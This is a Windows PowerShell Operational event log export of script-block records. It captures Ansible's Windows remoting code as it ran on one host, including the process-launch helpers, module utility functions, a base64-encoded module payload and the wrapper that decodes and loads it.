uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ec038e2e-f770-43d9-aa42-bfb3012a33b2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2045 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0000-eb0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 22b03fce-59d6-4de4-b991-9b7ee8b11c02
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2044 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0000-e40a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: e7e3045f-f69b-49f1-b1fe-32d8c5b6cc82
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2043 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0000-d50a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
yB0byB1c2luZyBUZXN0LVBhdGggZm9yIHRoaXMKICAgICAgICByZXR1cm4gVGVzdC1QYXRoIC1QYXRoICRQYXRoCiAgICB9CgogICAgaWYgKFtJbnQzMl0kZmlsZV9hdHRyaWJ1dGVzIC1lcSAtMSkgewogICAgICAgIHJldHVybiAkZmFsc2UKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICR0cnVlCiAgICB9Cn0KCkZ1bmN0aW9uIEdldC1BbnNpYmxlSXRlbSB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtzdHJpbmddJFBhdGgKICAgICkKICAgICMgUmVwbGFjZW1lbnQgZm9yIEdldC1JdGVtCiAgICB0cnkgewogICAgICAgICRmaWxlX2F0dHJpYnV0ZXMgPSBbU3lzdGVtLklPLkZpbGVdOjpHZXRBdHRyaWJ1dGVzKCRQYXRoKQogICAgfSBjYXRjaCB7CiAgICAgICAgIyBpZiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb3RpbnVlIGlzIHNldCBvbiB0aGUgY21kbGV0IGFuZCB3ZSBmYWlsZ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SAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Set-VMHost -VirtualMachineMigrationAuthenticationType Kerberos -passthru -ErrorAction silentlycontinue", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 0a922c28-0448-4d00-8d57-8e1f09348453
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2042 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0000-cf0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
iAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLi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52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNl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W1hbCBvdmVyaGVhZAphcyBwb3NzaWJsZS4gVGhleSB3b3JrIGJ5IHVzaW5nIEdldC1DaGlsZEl0ZW0gd2l0aCBhIGZpbHRlciBhbmQgcmV0dXJuIHRoZQpyZXN1bHQgZnJvbSB0aGF0LgojPgoKRnVuY3Rpb24gVGVzdC1BbnNpYmxlUGF0aCB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtzdHJpbmddJFBhdGgKICAgICkKICAgICMgUmVwbGFjZW1lbnQgZm9yIFRlc3QtUGF0aAogICAgdHJ5IHsKICAgICAgICAkZmlsZV9hdHRyaWJ1dGVzID0gW1N5c3RlbS5JTy5GaWxlXTo6R2V0QXR0cmlidXRlcygkUGF0aCkKICAgIH0gY2F0Y2ggW1N5c3RlbS5JTy5GaWxlTm90Rm91bmRFeGNlcHRpb25dLCBbU3lzdGVtLklPLkRpcmVjdG9yeU5vdEZvdW5kRXhjZXB0aW9uXSB7CiAgICAgICAgcmV0dXJuICRmYWxzZQogICAgfSBjYXRjaCBbTm90U3VwcG9ydGVkRXhjZXB0aW9uXSB7CiAgICAgICAgIyBXaGVuIHRlc3RpbmcgYSBwYXRoIGxpa2UgQ2VydDpcTG9jYWxNYWNoaW5lXE15LCBTeXN0ZW0uSU8uRmlsZSB3aWxsCiAgICAgICAgIyBub3Qgd29yaywgd2UganVzdCByZXZlcnQgYmFja
ScriptBlock ID: 0a922c28-0448-4d00-8d57-8e1f09348453
